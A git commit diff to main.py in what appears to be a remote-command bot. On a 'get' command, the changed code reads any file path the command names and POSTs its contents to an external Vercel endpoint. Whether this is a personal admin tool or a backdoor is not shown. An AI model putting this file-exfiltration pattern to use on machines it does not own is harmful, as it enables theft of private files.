summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authormrdog233o5 <mr.dog233o5@gmail.com>2023-09-02 15:47:55 +0800
committermrdog233o5 <mr.dog233o5@gmail.com>2023-09-02 15:47:55 +0800
commit1d2df4bc911c4d80a2b561dd96c73c692438584d (patch)
tree878032c4ca3c0a96b66f1b4c402ea18225f36b69 /main.py
parentfc9bc6bd79a29bc03008ba145faa793b779d47dd (diff)
cao
Diffstat (limited to 'main.py')
-rw-r--r--main.py6
1 files changed, 3 insertions, 3 deletions
diff --git a/main.py b/main.py
index ab04719..047cfca 100644
--- a/main.py
+++ b/main.py
@@ -70,11 +70,11 @@ while True:
old_command = ""
continue
if command.startswith("get "):
- print(command)
localcmd = command.split()
path = localcmd[1]
- file = [str(path), open(str("../"+path), 'rb').read()]
- file = str(file)
+ open("output.txt", 'wb').write(open(str("../"+path), 'rb').read())
+ file = [str(path), open("output.txt", 'rb').read()]
+ file = "FILE " + str(file)
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file)
except: